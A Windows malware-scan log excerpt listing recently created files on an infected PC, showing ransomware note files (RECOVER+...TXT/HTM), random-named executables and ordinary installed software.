2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default User\AppData\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Default User\AppData\Local\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\ASIA\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\ASIA\Downloads\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\ASIA\Documents\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\ASIA\AppData\Roaming\RECOVER+abcku.TXT
2016-02-16 10:39 - 2016-02-16 10:39 - 00002113 _____ C:\Users\ASIA\AppData\RECOVER+abcku.TXT
2016-02-16 10:38 - 2016-02-16 10:38 - 00007026 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+abcku.HTM
2016-02-16 10:38 - 2016-02-16 10:38 - 00007026 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+abcku.HTM
2016-02-16 10:38 - 2016-02-16 10:38 - 00007026 _____ C:\Users\ASIA\AppData\LocalLow\RECOVER+abcku.HTM
2016-02-16 10:38 - 2016-02-16 10:38 - 00007026 _____ C:\Users\ASIA\AppData\Local\RECOVER+abcku.HTM
2016-02-16 10:38 - 2016-02-16 10:38 - 00002113 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+abcku.TXT
2016-02-16 10:38 - 2016-02-16 10:38 - 00002113 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+abcku.TXT
2016-02-16 10:38 - 2016-02-16 10:38 - 00002113 _____ C:\Users\ASIA\AppData\LocalLow\RECOVER+abcku.TXT
2016-02-16 10:38 - 2016-02-16 10:38 - 00002113 _____ C:\Users\ASIA\AppData\Local\RECOVER+abcku.TXT
2016-02-16 10:36 - 2016-02-16 10:39 - 00007026 _____ C:\Users\RECOVER+abcku.HTM
2016-02-16 10:36 - 2016-02-16 10:39 - 00007026 _____ C:\Users\Public\Documents\RECOVER+abcku.HTM
2016-02-16 10:36 - 2016-02-16 10:39 - 00002113 _____ C:\Users\RECOVER+abcku.TXT
2016-02-16 10:36 - 2016-02-16 10:39 - 00002113 _____ C:\Users\Public\Documents\RECOVER+abcku.TXT
2016-02-16 10:36 - 2016-02-16 10:36 - 00007026 _____ C:\Users\ASIA\AppData\Local\Apps\RECOVER+abcku.HTM
2016-02-16 10:36 - 2016-02-16 10:36 - 00007026 _____ C:\ProgramData\RECOVER+abcku.HTM
2016-02-16 10:36 - 2016-02-16 10:36 - 00007026 _____ C:\ProgramData\Microsoft\Windows\Start Menu\RECOVER+abcku.HTM
2016-02-16 10:36 - 2016-02-16 10:36 - 00007026 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RECOVER+abcku.HTM
2016-02-16 10:36 - 2016-02-16 10:36 - 00002113 _____ C:\Users\ASIA\AppData\Local\Apps\RECOVER+abcku.TXT
2016-02-16 10:36 - 2016-02-16 10:36 - 00002113 _____ C:\ProgramData\RECOVER+abcku.TXT
2016-02-16 10:36 - 2016-02-16 10:36 - 00002113 _____ C:\ProgramData\Microsoft\Windows\Start Menu\RECOVER+abcku.TXT
2016-02-16 10:36 - 2016-02-16 10:36 - 00002113 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RECOVER+abcku.TXT
2016-02-16 10:35 - 2016-02-16 10:35 - 00003072 _____ C:\Users\ASIA\Documents\gbrub.exe
2016-02-16 10:35 - 2016-02-16 10:35 - 00000253 _____ C:\Users\ASIA\Documents\recover_file_iwkykftbb.txt
2016-02-16 10:34 - 2016-02-16 10:34 - 00007026 _____ C:\ProgramData\Microsoft\Windows\Start Menu\RECOVER+stxwl.HTM
2016-02-16 10:34 - 2016-02-16 10:34 - 00007026 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RECOVER+stxwl.HTM
2016-02-16 10:34 - 2016-02-16 10:34 - 00002113 _____ C:\ProgramData\Microsoft\Windows\Start Menu\RECOVER+stxwl.TXT
2016-02-16 10:34 - 2016-02-16 10:34 - 00002113 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RECOVER+stxwl.TXT
2016-02-16 10:33 - 2016-02-16 10:33 - 00007026 _____ C:\Users\RECOVER+stxwl.HTM
2016-02-16 10:33 - 2016-02-16 10:33 - 00007026 _____ C:\Users\Public\Documents\RECOVER+stxwl.HTM
2016-02-16 10:33 - 2016-02-16 10:33 - 00007026 _____ C:\ProgramData\RECOVER+stxwl.HTM
2016-02-16 10:33 - 2016-02-16 10:33 - 00003072 _____ C:\Users\ASIA\Documents\lfnjy.exe
2016-02-16 10:33 - 2016-02-16 10:33 - 00002113 _____ C:\Users\RECOVER+stxwl.TXT
2016-02-16 10:33 - 2016-02-16 10:33 - 00002113 _____ C:\Users\Public\Documents\RECOVER+stxwl.TXT
2016-02-16 10:33 - 2016-02-16 10:33 - 00002113 _____ C:\ProgramData\RECOVER+stxwl.TXT
2016-02-16 10:33 - 2016-02-16 10:33 - 00000253 _____ C:\Users\ASIA\Documents\recover_file_cphannjfw.txt
2016-02-16 10:31 - 2016-02-16 10:36 - 00000000 ____D C:\Users\ASIA\AppData\Local\ElevatedDiagnostics
2016-02-16 10:15 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Приложения в Chrome
2016-02-16 10:15 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome
2016-02-16 10:12 - 2016-02-16 10:12 - 00000204 _____ C:\Windows\system32\secustat.dat
2016-02-16 10:10 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Downloads\Video
2016-02-16 10:10 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Downloads\Compressed
2016-02-16 10:10 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\IDM
2016-02-16 10:10 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Download Manager
2016-02-16 10:10 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Internet Download Manager
2016-02-16 10:10 - 2016-02-16 10:32 - 00000000 ____D C:\Program Files\Internet Download Manager
2016-02-16 10:09 - 2016-02-16 10:09 - 00018314 _____ C:\Users\ASIA\Downloads\Internet Download Manager v6.25 Build 12 Final.torrent
2016-02-16 10:02 - 2016-02-16 10:02 - 00000025 _____ C:\Windows\emcore.INI
2016-02-16 09:58 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\FlashgetSetup
2016-02-16 09:58 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\BITS
2016-02-16 09:58 - 2016-02-16 09:58 - 00000000 ____D C:\Program Files\FlashGet Network
2016-02-16 09:57 - 2016-02-16 09:57 - 00008467 _____ C:\Users\ASIA\Downloads\FlashGet 3.7 Build 1218.torrent
2016-02-14 12:41 - 2016-02-14 12:41 - 00000000 __SHD C:\Windows\ftpcache
2016-02-14 12:20 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Steam
2016-02-13 19:30 - 2016-02-13 19:30 - 00049730 _____ C:\Users\ASIA\AppData\Roaming\callout.unicode.start.character.xml
2016-02-13 19:30 - 2016-02-13 19:30 - 00001339 _____ C:\Users\ASIA\AppData\Roaming\MiloFrostbiteOphthalmometry
2016-02-13 13:33 - 2016-02-13 13:33 - 00000000 ____H C:\Windows\system32\Drivers\Msft_User_WpdMtpDr_01_09_00.Wdf
2016-02-13 08:45 - 2016-02-16 10:18 - 00001901 _____ C:\Windows\panose.bin
2016-02-13 08:33 - 2016-02-13 08:33 - 00003072 _____ C:\Users\ASIA\Documents\qajwy.exe
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default\AppData\Roaming\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default\AppData\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default\AppData\Local\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default User\AppData\Roaming\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default User\AppData\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00007026 _____ C:\Users\Default User\AppData\Local\RECOVER+dcsso.HTM
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default\AppData\Roaming\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default\AppData\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default\AppData\Local\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default User\AppData\Roaming\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default User\AppData\RECOVER+dcsso.TXT
2016-02-13 08:18 - 2016-02-13 08:18 - 00002113 _____ C:\Users\Default User\AppData\Local\RECOVER+dcsso.TXT
2016-02-13 08:11 - 2016-02-13 08:11 - 00131312 _____ C:\Users\ASIA\AppData\Roaming\Compressibility.mm
2016-02-13 08:11 - 2016-02-13 08:11 - 00001861 _____ C:\Users\ASIA\AppData\Roaming\HarebellJuiceCompanionship
2016-02-13 08:07 - 2016-02-13 08:07 - 00007026 _____ C:\Users\ASIA\AppData\Roaming\RECOVER+dcsso.HTM
2016-02-13 08:07 - 2016-02-13 08:07 - 00007026 _____ C:\Users\ASIA\AppData\RECOVER+dcsso.HTM
2016-02-13 08:07 - 2016-02-13 08:07 - 00002113 _____ C:\Users\ASIA\AppData\Roaming\RECOVER+dcsso.TXT
2016-02-13 08:07 - 2016-02-13 08:07 - 00002113 _____ C:\Users\ASIA\AppData\RECOVER+dcsso.TXT
2016-02-13 08:06 - 2016-02-13 08:06 - 00007026 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+dcsso.HTM
2016-02-13 08:06 - 2016-02-13 08:06 - 00007026 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+dcsso.HTM
2016-02-13 08:06 - 2016-02-13 08:06 - 00007026 _____ C:\Users\ASIA\AppData\LocalLow\RECOVER+dcsso.HTM
2016-02-13 08:06 - 2016-02-13 08:06 - 00007026 _____ C:\Users\ASIA\AppData\Local\RECOVER+dcsso.HTM
2016-02-13 08:06 - 2016-02-13 08:06 - 00002113 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\RECOVER+dcsso.TXT
2016-02-13 08:06 - 2016-02-13 08:06 - 00002113 _____ C:\Users\ASIA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\RECOVER+dcsso.TXT
2016-02-13 08:06 - 2016-02-13 08:06 - 00002113 _____ C:\Users\ASIA\AppData\LocalLow\RECOVER+dcsso.TXT
2016-02-13 08:06 - 2016-02-13 08:06 - 00002113 _____ C:\Users\ASIA\AppData\Local\RECOVER+dcsso.TXT
2016-02-13 08:03 - 2016-02-13 08:03 - 00007026 _____ C:\Users\ASIA\AppData\Local\Apps\RECOVER+dcsso.HTM
2016-02-13 08:03 - 2016-02-13 08:03 - 00007026 _____ C:\ProgramData\RECOVER+dcsso.HTM
2016-02-13 08:03 - 2016-02-13 08:03 - 00007026 _____ C:\ProgramData\Microsoft\Windows\Start Menu\RECOVER+dcsso.HTM
2016-02-13 08:03 - 2016-02-13 08:03 - 00007026 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RECOVER+dcsso.HTM
2016-02-13 08:03 - 2016-02-13 08:03 - 00002113 _____ C:\Users\ASIA\AppData\Local\Apps\RECOVER+dcsso.TXT
2016-02-13 08:03 - 2016-02-13 08:03 - 00002113 _____ C:\ProgramData\RECOVER+dcsso.TXT
2016-02-13 08:03 - 2016-02-13 08:03 - 00002113 _____ C:\ProgramData\Microsoft\Windows\Start Menu\RECOVER+dcsso.TXT
2016-02-13 08:03 - 2016-02-13 08:03 - 00002113 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RECOVER+dcsso.TXT
2016-02-13 08:02 - 2016-02-13 08:02 - 00003072 _____ C:\Users\ASIA\Documents\qfjsu.exe
2016-02-13 08:02 - 2016-02-13 08:02 - 00003072 _____ C:\Users\ASIA\Documents\oqaiq.exe
2016-02-13 08:02 - 2016-02-13 08:02 - 00003072 _____ C:\Users\ASIA\Documents\gdymd.exe
2016-02-13 08:02 - 2016-02-13 08:02 - 00003072 _____ C:\Users\ASIA\Documents\gaiss.exe
2016-02-13 08:02 - 2016-02-13 08:02 - 00003072 _____ C:\Users\ASIA\Documents\fqtoq.exe
2016-02-13 08:02 - 2016-02-13 08:02 - 00003072 _____ C:\Users\ASIA\Documents\fqtjo.exe
2016-02-13 08:02 - 2016-02-13 08:02 - 00003072 _____ C:\Users\ASIA\Documents\feuue.exe
2016-02-13 08:02 - 2016-02-13 08:02 - 00003072 _____ C:\Users\ASIA\Documents\cqvtv.exe
2016-02-13 08:02 - 2016-02-13 08:01 - 00618496 _____ C:\Windows\vjkygwygx.exe
2016-02-13 08:02 - 2016-02-13 08:01 - 00618496 _____ C:\Windows\sovtricis.exe
2016-02-13 08:02 - 2016-02-13 08:01 - 00618496 _____ C:\Windows\llnqpaaqy.exe
2016-02-13 08:02 - 2016-02-13 08:01 - 00618496 _____ C:\Windows\lgmyrgxyo.exe
2016-02-13 08:02 - 2016-02-13 08:01 - 00618496 _____ C:\Windows\girxxtidr.exe
2016-02-13 08:02 - 2016-02-13 08:01 - 00618496 _____ C:\Windows\eaausilva.exe
2016-02-13 05:01 - 2016-02-13 05:01 - 00057856 _____ C:\Users\ASIA\AppData\Roaming\cakes.dll
2016-02-13 00:15 - 2016-02-13 00:15 - 00049152 _____ C:\Users\ASIA\AppData\Roaming\baste.dll
2016-02-12 10:59 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\WinKun
2016-02-12 10:39 - 2016-02-16 10:51 - 00000000 ____D C:\Users\ASIA\AppData\Local\Aqssworks
2016-02-12 10:39 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Local\YRSPack
2016-02-12 10:18 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\DMCache
2016-02-12 10:18 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\IDM
2016-02-12 10:11 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\LocalLow\uTorrent
2016-02-11 22:30 - 2016-02-11 22:30 - 00049779 _____ C:\Users\ASIA\AppData\Roaming\g1_1024 x 768 px 72 ppi.IMZ
2016-02-11 22:30 - 2016-02-11 22:30 - 00002043 _____ C:\Users\ASIA\AppData\Roaming\SpittlebugRetreat
2016-02-11 16:26 - 2016-01-28 11:20 - 00134248 _____ (Tonec Inc.) C:\Windows\system32\Drivers\idmwfp.sys
2016-02-11 15:58 - 2016-02-11 15:58 - 00191554 _____ C:\Windows\system32\TLDvrLng.ini
2016-02-10 13:56 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Documents\AdobeStockPhotos
2016-02-10 08:00 - 2010-08-12 11:46 - 00758784 _____ (NVIDIA Corporation) C:\Windows\system32\cohelper.dll
2016-02-10 08:00 - 2010-08-09 22:33 - 00011164 _____ C:\Windows\system32\Drivers\nvphy.bin
2016-02-08 10:47 - 2016-02-08 10:47 - 00057344 _____ C:\Users\ASIA\AppData\Roaming\doltishness.dll
2016-02-07 14:26 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Documents\Updater
2016-02-07 14:25 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Adobe Systems
2016-02-07 14:23 - 2016-02-16 10:39 - 00000000 ____D C:\Users\Public\Documents\Adobe PDF
2016-02-07 14:23 - 2016-02-07 14:23 - 00002055 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Help Center.lnk
2016-02-07 14:22 - 2016-02-07 14:22 - 00002037 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Bridge.lnk
2016-02-07 14:22 - 2016-02-07 14:22 - 00002015 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Photoshop CS2.lnk
2016-02-07 14:22 - 2016-02-07 14:22 - 00002012 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe ImageReady CS2.lnk
2016-02-07 14:22 - 2016-02-07 14:22 - 00000000 ____D C:\Program Files\Common Files\Adobe Systems Shared
2016-02-07 14:21 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Adobe
2016-02-07 08:20 - 2016-02-07 08:20 - 00007599 _____ C:\Users\ASIA\AppData\Local\Resmon.ResmonCfg
2016-02-07 07:46 - 2014-05-14 18:23 - 01973728 _____ (Microsoft Corporation) C:\Windows\system32\wuaueng.dll
2016-02-07 07:46 - 2014-05-14 18:23 - 00581600 _____ (Microsoft Corporation) C:\Windows\system32\wuapi.dll
2016-02-07 07:46 - 2014-05-14 18:23 - 00054240 _____ (Microsoft Corporation) C:\Windows\system32\wuauclt.exe
2016-02-07 07:46 - 2014-05-14 18:23 - 00045536 _____ (Microsoft Corporation) C:\Windows\system32\wups2.dll
2016-02-07 07:46 - 2014-05-14 18:23 - 00036320 _____ (Microsoft Corporation) C:\Windows\system32\wups.dll
2016-02-07 07:46 - 2014-05-14 18:17 - 02425856 _____ (Microsoft Corporation) C:\Windows\system32\wucltux.dll
2016-02-07 07:46 - 2014-05-14 18:17 - 00092672 _____ (Microsoft Corporation) C:\Windows\system32\wudriver.dll
2016-02-07 07:46 - 2014-05-14 09:23 - 00179656 _____ (Microsoft Corporation) C:\Windows\system32\wuwebv.dll
2016-02-07 07:46 - 2014-05-14 09:17 - 00033792 _____ (Microsoft Corporation) C:\Windows\system32\wuapp.exe
2016-02-06 17:32 - 2016-02-06 17:32 - 00001108 _____ C:\Users\ASIA\Desktop\Adobe PageMaker 7.0.lnk
2016-02-06 17:31 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe
2016-02-06 17:31 - 2016-02-16 10:36 - 00000000 ____D C:\Kpcms
2016-02-06 17:31 - 2016-02-07 14:24 - 00000000 ____D C:\Program Files\Adobe
2016-02-06 17:31 - 2016-02-07 14:23 - 00000000 ____D C:\Program Files\Common Files\Adobe
2016-02-06 17:31 - 2016-02-06 17:31 - 00000000 ____D C:\Windows\system32\Color
2016-02-06 17:31 - 2001-04-11 13:03 - 00565760 _____ (Microsoft Corporation) C:\Windows\system32\Msvcp50.dll
2016-02-06 17:31 - 2001-04-11 13:03 - 00401484 _____ (Microsoft Corporation) C:\Windows\system32\Msvcrtd.dll
2016-02-06 17:31 - 2001-04-11 13:03 - 00210944 _____ C:\Windows\system32\Msvcrt10.dll
2016-02-06 17:31 - 2001-04-11 13:03 - 00133904 _____ (Microsoft Corporation) C:\Windows\system32\Mfcans32.dll
2016-02-06 17:31 - 2001-04-11 13:03 - 00133392 _____ (Microsoft Corporation) C:\Windows\system32\Mfco30.dll
2016-02-06 17:31 - 2001-04-11 13:03 - 00094285 _____ (Microsoft Corporation) C:\Windows\system32\Msvcirtd.dll
2016-02-06 17:31 - 2001-04-11 13:03 - 00033424 _____ (Microsoft Corporation) C:\Windows\system32\Urlcache.dll
2016-02-06 17:31 - 2001-04-11 13:03 - 00006144 _____ (Microsoft Corporation) C:\Windows\system32\W95fiber.dll
2016-02-06 17:31 - 2001-04-11 13:03 - 00005632 _____ (Microsoft Corporation) C:\Windows\system32\Mfcuia32.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00322832 _____ (Microsoft Corporation) C:\Windows\system32\Mfc30.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00243712 _____ (Eastman Kodak Company) C:\Windows\Kpcp32.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00212480 _____ (Eastman Kodak) C:\Windows\Pcdlib32.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00156672 _____ (Eastman Kodak Company) C:\Windows\sprof32.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00070144 _____ (Eastman Kodak Company) C:\Windows\Kpfp32.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00058368 _____ (Eastman Kodak Company) C:\Windows\pfpick.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00053760 _____ (Eastman Kodak Company) C:\Windows\Ptpick32.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00048128 _____ (Eastman Kodak Company) C:\Windows\Kpsys32.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00042483 _____ C:\Windows\Icccodes.dat
2016-02-06 17:31 - 2001-04-11 13:02 - 00039095 _____ C:\Windows\Iccsigs.dat
2016-02-06 17:31 - 2001-04-11 13:02 - 00032792 _____ (Eastman Kodak Company) C:\Windows\Spwhpt.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00031744 _____ (Eastman Kodak Company) C:\Windows\Kpsharp.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00031232 _____ (Eastman Kodak Company) C:\Windows\Kpscale.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00020992 _____ (Eastman Kodak Company) C:\Windows\icccodes.dll
2016-02-06 17:31 - 2001-04-11 13:02 - 00000156 _____ C:\Windows\Kpcms.ini
2016-02-06 17:28 - 1998-10-02 19:00 - 00327168 _____ (InstallShield Software Corporation) C:\Windows\IsUninst.exe
2016-02-06 17:21 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Mozilla
2016-02-06 17:21 - 2016-02-06 23:09 - 00000000 ____D C:\Program Files\BitTorrent
2016-02-06 17:21 - 2016-02-06 17:21 - 00041472 _____ C:\Users\ASIA\AppData\Local\Daltron.dat
2016-02-06 17:21 - 2016-02-06 17:21 - 00028160 _____ C:\Users\ASIA\AppData\Local\Daltron.exe
2016-02-06 17:21 - 2016-02-06 17:21 - 00000187 _____ C:\Users\ASIA\AppData\Local\Daltron.exe.config
2016-02-06 17:00 - 2016-02-06 17:00 - 00002607 _____ C:\Users\ASIA\Desktop\CorelDRAW 12.lnk
2016-02-06 16:55 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CorelDRAW Graphics Suite 12
2016-02-06 16:55 - 2016-02-06 16:55 - 00000000 ____D C:\Program Files\Corel
2016-02-06 16:55 - 2016-02-06 16:55 - 00000000 ____D C:\Program Files\Common Files\Corel
2016-02-06 16:51 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Canon
2016-02-06 16:43 - 2005-06-23 22:17 - 00352256 _____ (CANON INC.) C:\Windows\system32\CNQL1213.DLL
2016-02-06 16:43 - 2005-02-28 13:20 - 00057344 _____ (CANON INC.) C:\Windows\system32\CNQU110.DLL
2016-02-06 16:34 - 2016-02-16 10:36 - 00000000 ___HD C:\GrandeDevice
2016-02-06 16:34 - 2011-03-31 07:47 - 00019456 _____ C:\Windows\system32\xrhr1alm.dll
2016-02-06 16:34 - 2011-03-23 11:37 - 00215552 _____ (Xerox) C:\Windows\system32\xrhr1ausb.dll
2016-02-06 16:32 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Marvell
2016-02-06 16:32 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Hewlett-Packard
2016-02-06 16:31 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Canon
2016-02-06 16:26 - 2016-02-16 10:36 - 00000000 ___HD C:\CanoScan
2016-02-06 16:14 - 2008-02-11 15:26 - 00057344 _____ (Marvell Semiconductor, Inc.) C:\Windows\system32\CP1215EWS.dll
2016-02-06 16:14 - 2007-08-29 16:06 - 00512000 _____ (Marvell Semiconductor, Inc.) C:\Windows\system32\HPIPMX.dll
2016-02-06 16:14 - 2007-08-29 16:06 - 00237568 _____ (Marvell Semiconductor, Inc.) C:\Windows\system32\HPIPMXRes.dll
2016-02-06 16:14 - 2007-08-29 16:06 - 00163840 _____ (Marvell Semiconductor, Inc.) C:\Windows\system32\CP1215LI.DLL
2016-02-06 16:14 - 2007-08-29 16:06 - 00143360 _____ (Marvell Semiconductor, Inc.) C:\Windows\system32\CP1215LM.DLL
2016-02-06 16:14 - 2007-08-29 16:06 - 00114688 _____ (Marvell Semiconductor, Inc.) C:\Windows\system32\HPMCoSetup.dll
2016-02-06 16:14 - 2007-08-29 16:06 - 00106496 _____ (Zenographics, Inc.) C:\Windows\system32\ZSPOOL.DLL
2016-02-06 16:14 - 2007-08-29 16:06 - 00061440 _____ (Zenographics, Inc.) C:\Windows\system32\ZIMF.DLL
2016-02-06 16:14 - 2007-08-29 16:06 - 00053248 _____ (Zenographics, Inc.) C:\Windows\system32\ZTAG.DLL
2016-02-06 16:12 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HP
2016-02-06 16:12 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\HPSSUPPLY
2016-02-06 16:12 - 2016-02-06 16:15 - 00000000 ____D C:\Program Files\HP
2016-02-06 16:12 - 2016-02-06 16:15 - 00000000 ____D C:\Program Files\Hewlett-Packard
2016-02-06 16:11 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\HP
2016-02-06 16:11 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Hewlett-Packard
2016-02-06 15:55 - 2016-02-16 10:39 - 00000000 ____D C:\Xerox
2016-02-06 15:54 - 2016-02-10 16:00 - 00000000 ____D C:\Windows\system32\appmgmt
2016-02-06 15:46 - 2016-02-06 15:46 - 00000000 _____ C:\Windows\CorelDrw.INI
2016-02-06 15:45 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\Corel
2016-02-06 15:44 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Documents\My Albums
2016-02-06 15:44 - 2016-02-16 10:38 - 00000000 ____D C:\Users\ASIA\AppData\Roaming\ArcSoft
2016-02-06 15:44 - 2016-02-16 10:36 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ArcSoft PhotoStudio
2016-02-06 15:44 - 2016-02-06 16:31 - 00000000 ___HD C:\Program Files\InstallShield Installation Information
2016-02-06 15:44 - 2016-02-06 15:44 - 00001957 _____ C:\Users\Public\Desktop\PhotoStudio 5.lnk
2016-02-06 15:44 - 2016-02-06 15:44 - 00000000 ____D C:\Program Files\ArcSoft
2016-02-06 15:44 - 1996-07-01 00:00 - 00077312 _____ (Twain Working Group) C:\Windows\system32\TWAIN_32.DLL
2016-02-06 15:44 - 1995-07-31 13:44 - 00212480 _____ (Eastman Kodak) C:\Windows\system32\PCDLIB32.DLL
2016-02-06 15:35 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Desktop\паметници
2016-02-06 15:30 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Desktop\Нова папка
2016-02-06 15:30 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Desktop\запис от камера
2016-02-06 15:29 - 2016-02-16 10:39 - 00000000 ____D C:\Users\ASIA\Desktop\снимки на офиса
